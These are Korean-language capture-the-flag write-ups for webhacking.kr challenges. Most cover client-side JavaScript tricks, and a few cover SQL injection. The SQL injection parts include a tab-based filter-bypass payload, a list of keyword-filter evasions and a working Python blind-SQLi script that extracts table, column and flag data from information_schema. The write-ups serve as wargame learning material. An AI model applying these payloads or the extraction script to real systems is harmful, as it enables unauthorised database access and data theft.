처음 접속하면 admin이 입력창에 출력되어 있고 쿼리 전송 버튼을 누르면 you are not admin이 뜬다.
소스 코드에도 별거 없다.
id인데 '를 붙이지 않는게 이상해서 '를 붙였다. 대신 maxlength=5로 설정되어 있어 5글자 밖에 입력할 수 없기에 7로 수정했다. 그리고 나서 쿼리 전송을 하면 풀린다.
Burp Suite를 이용해서 url 쿼리를 수정해도 풀린다.
처음 접속하면 admin이 입력창에 출력되어 있고 쿼리 전송 버튼을 누르면 you are not admin이 뜬다.
소스 코드에도 별거 없다.
id인데 '를 붙이지 않는게 이상해서 '를 붙였다. 대신 maxlength=5로 설정되어 있어 5글자 밖에 입력할 수 없기에 7로 수정했다. 그리고 나서 쿼리 전송을 하면 풀린다.
Burp Suite를 이용해서 url 쿼리를 수정해도 풀린다.
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
띄워쓰기 , /, (, ), |, &, select, from, 0x 가 필터링 된다.
admin의 no는 2이고 admin을 조회해야 풀린다.
1을 대입해보면 hi guest가 출력된다. 즉 guest의 no는 1이다.
or, = 필터링되지 않고 있다. or과 no=2를 공격에 쓸 수 있다.
띄워쓰기만 우회하면 된다. 테스트해보니 띄워쓰기는 %09, %0a, %0d로 우회가능한 것을 확인했다. 이 중 %09를 택했다.
%09 : Tab
%0a : line feed
%0d : carriage return
https://webhacking.kr/challenge/web-32/?no=99%09or%09no=2
99는 임의의 값이다. 1만 아니면 된다. 위와 같이 쿼리를 입력하면 풀린다.
<html>
<head>
<title>Challenge 17</title>
</head>
<body bgcolor=black>
<font color=red size=10></font>
<p>
<form name=login>
<input type=passwd name=pw><input type=button onclick=sub() value="check">
</form>
<script>
unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+1/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10-100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+9999999;
function sub(){ if(login.pw.value==unlock){ location.href="?"+unlock/10; } else{ alert("Wrong"); } }
</script>
입력창에 unlock과 같은 값을 넣고 check 버튼을 클릭하면 풀린다.
unlock 부분만 떼서 개발자 옵션의 콘솔 항목에 붙여넣는다. unlock의 값이 7809297.1임을 알 수 있다.
입력창에 넣고 check 버튼을 누르면 풀린다.
또한, 아래의 이미지에 나온대로 해도 풀린다. 입력창에 값을 넣고 sub 함수를 실행하는 행위다.
<html>
<head>
<title>Challenge 16</title>
<body bgcolor=black onload=kk(1,1) onkeypress=mv(event.keyCode)>
<font color=silver id=c></font>
<font color=yellow size=100 style=position:relative id=star>*</font>
<script>
document.body.innerHTML+="<font color=yellow id=aa style=position:relative;left:0;top:0>*</font>";
function mv(cd){
kk(star.style.left-50,star.style.top-50);
if(cd==100) star.style.left=parseInt(star.style.left+0,10)+50+"px";
if(cd==97) star.style.left=parseInt(star.style.left+0,10)-50+"px";
if(cd==119) star.style.top=parseInt(star.style.top+0,10)-50+"px";
if(cd==115) star.style.top=parseInt(star.style.top+0,10)+50+"px";
if(cd==124) location.href=String.fromCharCode(cd)+".php"; // do it!
}
function kk(x,y){
rndc=Math.floor(Math.random()*9000000);
document.body.innerHTML+="<font color=#"+rndc+" id=aa style=position:relative;left:"+x+";top:"+y+" onmouseover=this.innerHTML=''>*</font>";
}
</script>
</body>
</html>
body 태그를 보면 onkeypress="mv(event.keyCode)" 가 있다.
onkeypress는 키 입력을 감지한다. 내가 입력한 키 값이 mv 함수의 인자로 전달된다.
100, 97, 119, 115에 해당하는 문자는 각각 d, a, w, s이다. 화면에서 w, a, s, d를 각각 눌러보면 노란 별이 움직이는 것을 확인할 수 있다. 코드를 보면 star.style.left 또는 top의 값이 변하기 때문이다.
124에 해당하는 문자(|)를 입력하면 문제가 풀린다.
개발자 옵션에서 콘솔 창에 mv(124)를 입력해도 풀 수 있다.
접속하자마자 Access_Denied 창이 뜨길래 Burp Suite로 가로채봤다.
Access_Denied 창이 뜨고 webhacking.kr의 첫 페이지로 이동하게 되어 있다.
document.write 코드의 의미는 웹 페이지 상에 [Get Flag] 이름으로 링크를 출력하는데 링크를 클릭시 https://webhacking.kr/challenge/js-2/?getFlag로 이동한다는 뜻이다.
14번 문제에 접속해서 14번 문제의 URL에서 /js-1 부분을 /js-2/?getFlag로 수정 후 접속하면 문제가 풀린다.
<form name=pw><input type=text name=input_pwd><input type=button value="check" onclick=ck()></form>
<script>
function ck(){
var ul=document.URL;
ul=ul.indexOf(".kr");
ul=ul*30;
if(ul==pw.input_pwd.value) { location.href="?"+ul*pw.input_pwd.value; }
else { alert("Wrong"); }
}
</script>
URL에서 .kr의 인덱스 값에 *30을 입력하고 check 버튼을 클릭하면 풀린다.
엔터치면 안 풀린다. onclick 속성에 의해 클릭해야만 ck 함수가 실행되기 때문이다.
개발자 옵션에서 콘솔을 이용해 인덱스 값이 18임을 알아냈다.
참고로 check 버튼을 클릭하지 않고도 풀 수 있다.
콘솔 창에서 pw.input_pwd.value=540을 입력 후 ck()를 입력해도 풀린다. 값을 전달하고 ck 함수를 실행하는 것이기 때문이다.
like -> in,regexp 우회가능
ascii,hex -> ord(결과값 : 아스키코드) 우회가능
limit -> max,min 우회가능 (최대 2개인 경우만)
'h' -> 0b01101000 형식의 2진수로 우회가능. 단, 문자하나당 8비트 이진수로 표현해야함.
substr 결과값=문자 =16진수와 동일
import requests
url="https://webhacking.kr/challenge/web-10/"
#2
def find_table_count():
tb_cnt=1
while True:
query="?no=if((select(count(if((table_schema)in(database()),table_name,null)))from(information_schema.tables))in("+str(tb_cnt)+"),1,0)"
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("table count :",tb_cnt)
return tb_cnt
else:
tb_cnt+=1
#테이블이 2개이므로 min, max를 이용해 각각의 길이 구함
#13(min), 4(max)
def find_table_length():
tb_len=1
while True:
query="?no=if((select(length(min(if((table_schema)in(database()),table_name,null))))from(information_schema.tables))in("+str(tb_len)+"),1,0)"
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("table length :",tb_len)
return tb_len
else:
tb_len+=1
#min 테이블에 답이 있기에 min 테이블 대상으로 풀이
#테이블명 : flag_ab733768
def find_table_name():
tb_len=find_table_length()
print("table name :",end="")
for i in range(1,tb_len+1):
for j in range(30,128):
query="?no=if((select(ord(substr(min(if((table_schema)in(database()),table_name,null)),{},1)))from(information_schema.tables))in({}),1,0)".format(i,j)
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print(chr(j),end="")
break
#'문자열' 입력시 13번 문제의 result는 항상 0 출력됨. 따라서 db명을 2진수로 우회해서 사용해야함
#1
def find_column_count():
col_cnt=1
tb_name=''.join(f"{ord(i):08b}" for i in "flag_ab733768")
while True:
query="?no=if((select(count(if((table_name)in(0b{}),column_name,null)))from(information_schema.columns))in({}),1,0)".format(tb_name,col_cnt)
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("column count :", col_cnt)
break
else:
col_cnt+=1
#열의 개수는 하나지만 내부 if문에서 null을 포함해서 반환하기에 min을 이용하여 열을 특정한다
#13
def find_column_length():
col_len=1
tb_name=''.join(f"{ord(i):08b}" for i in "flag_ab733768")
while True:
query="?no=if((select(length(min(if((table_name)in(0b{}),column_name,null))))from(information_schema.columns))in({}),1,0)".format(tb_name,col_len)
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("column length :", col_len)
return col_len
else:
col_len+=1
#flag_3a55b31d
def find_column_name():
col_len=find_column_length()
print("column name : ", end="")
tb_name=''.join(f"{ord(i):08b}" for i in "flag_ab733768")
for i in range(1,col_len+1):
for j in range(30,128):
query="?no=if((select(ord(substr(min(if((table_name)in(0b{}),column_name,null)),{},1)))from(information_schema.columns))in({}),1,0)".format(tb_name,i,j)
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print(chr(j),end="")
break
#2
def find_data_count():
data_cnt=1
while True:
query="?no=if((select(count(flag_3a55b31d))from(flag_ab733768))in("+str(data_cnt)+"),1,0)"
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("data count :",data_cnt)
break
else:
data_cnt+=1
#max에 답 있음
#4(min),27(max)
def find_data_length():
data_len=1
while True:
query="?no=if((select(length(max(flag_3a55b31d)))from(flag_ab733768))in("+str(data_len)+"),1,0)"
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("data length :",data_len)
return data_len
else:
data_len+=1
#FLAG{challenge13gummyclear}
def find_data():
data_len=find_data_length()
print("data : ",end="")
for i in range(1,data_len+1):
for j in range(30,128):
query="?no=if((select(ord(substr(max(flag_3a55b31d),{},1))in({}))from(flag_ab733768)),1,0)".format(i,j)
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print(chr(j), end="")
break
find_data()
소스코드를 보면 이상한 코드가 보인다. 일부만 구글링 해보면 aaencode라는 것을 알 수 있다.
aaencode decoder이다.
https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html
aadecode - Decode encoded-as-aaencode JavaScript program. ['_']
aadecode - Decode encoded-as-aaencode JavaScript program. (゚Д゚) ['_'] Enter ...
cat-in-136.github.io
var enco='';
var enco2=126;
var enco3=33;
var ck=document.URL.substr(document.URL.indexOf('='));
for(i=1;i<122;i++){
enco=enco+String.fromCharCode(i,0);
}
function enco_(x){
return enco.charCodeAt(x);
}
if(ck=="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))+String.fromCharCode(enco_(232))+String.fromCharCode(enco_(192))+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))+String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))+String.fromCharCode(enco_(198))+"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3)){
location.href="./"+ck.replace("=","")+".php";
}
decode 결과이다.
URL에서 '=' 문자부터 끝까지 문자열을 떼어 변수 ck에 저장한다.
String.fromCharCode() 메서드는 UTF-16 코드 유닛의 시퀀스로부터 문자열을 생성해 반환한다. enco에는 \x01\x00\x02\x00...a\x00b\x00... 이런식으로 저장된다.
https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode
String.fromCharCode() - JavaScript | MDN
String.fromCharCode() 메서드는 UTF-16 코드 유닛의 시퀀스로부터 문자열을 생성해 반환합니다.
developer.mozilla.org
charCodeAt 메서드는 index에 해당하는 문자의 unicode 값을 리턴한다.
https://opentutorials.org/course/50/87
charCodeAt - 생활코딩
요약 index에 해당하는 문자의 unicode 값을 리턴 문법 string.charCodeAt(index) 인자 index - 필수, 0보다 큰 정수 설명 유니코드는 모든 시스템에서 일관되게 문자를 표현하기 위한 산업표준이다. charCodeAt
opentutorials.org
테스트해보면 알파벳의 경우는 String.fromCharCode() 메서드는 숫자를 문자로 바꾸고, charCodeAt 메서드는 문자를 다시 숫자로 바꾼다.
이 문제의 코드를 전문 용어로 설명하기보다 간략하게 설명하자면 먼저 숫자를 문자로 바꾸어 enco 변수에 저장한다. 마지막 if 문에서 ecno_ 함수에 의해 문자를 숫자로 변환 후 fromCahrCode 메서드로 다시 숫자를 문자로 변환한다.
개발자 옵션의 콘솔에 들어가서 자바스크립트 코드를 복붙한다.
youaregod~~~~~~~!을 url 쿼리의 인자로 전달하자.
url 뒤에 ?hi=youaregod~~~~~~~! 로 전달하면 풀린다. hi는 임의의 값이다. 따라서 다른 문자(열)로 대체가능하다.
<?php
$pat="/[1-3][a-f]{5}_.*$_SERVER[REMOTE_ADDR].*\tp\ta\ts\ts/";
if(preg_match($pat,$_GET['val'])){
solve(11);
}
else echo("<h2>Wrong</h2>");
echo("<br><br>");
?>
val 인자가 pat에 설정한 정규표현식을 포함하면 문제가 풀린다.
preg_match(/정규표현식/,입력값) 형태를 가진다.
https://www.guru99.com/php-regular-expressions.html
PHP preg_match(): Regular Expressions (Regex)
This PHP regular expression tutorial covers preg_match(), preg_replace(), preg_split(), preg_replace(), Regular expression metacharacters, patterns and more.
www.guru99.com
위 사이트에 문법 설명이 잘 나와있다.
[1-3] : 1부터 3까지의 값으로 구성된 문자열
[a-f]{5} : a부터 f까지의 문자 총 5개로 구성된 문자열
_ : 언더바
. : 개행을 제외한 임의의 문자 한 개
* : 바로 앞의 문자 또는 표현식 0개 이상
$_SERVER[REMOTE_ADDR] : PHP에서 SERVER 전역 변수에 저장되는 클라이언트 IP
\t : Tab(=%09)
정규표현식은 직접 이것저것 테스트 해보는게 좋다.
regex101: build, test, and debug regex
Regular expression tester with syntax highlighting, explanation, cheat sheet for PHP/PCRE, Python, GO, JavaScript, Java, C#/.NET.
regex101.com
내 공인 IP는 온라인 상에서 찾을 수 있다.
아이피 확인 - my ip address
IP 주소를 확인하는 가장 쉽고 빠른 방법 이 사이트(findip.kr)에 접속하는 것이 IP주소를 확인하는 가장 쉽고 빠른 방법이다. 220.64.102.253 가 현재 접속한 기기의 공인 IP(Internet Protocol) 주소다 IP주소
www.findip.kr
<a id=hackme style="position:relative;left:0;top:0" onclick="this.style.left=parseInt(this.style.left,10)+1+'px';if(this.style.left=='1600px')this.href='?go='+this.style.left" onmouseover=this.innerHTML='yOu' onmouseout=this.innerHTML='O'>O</a><br>
이 코드가 핵심인데 클릭시 left 값이 1 픽셀 증가하고 1600 픽셀이 되면 링크가 나타난다.
a 태그의 id가 hackme이고 style.left를 1599로 만들고 y0u를 클릭하면 onclick 속성대로 픽셀이 1 증가하고 1600이 되기에 링크가 나타난다.
처음부터 hackme.style.left=1600주면 안되는 이유는 onclick 속성에 if 문이 존재하기 때문이다. 따라서 클릭을 통해 접근가능하다.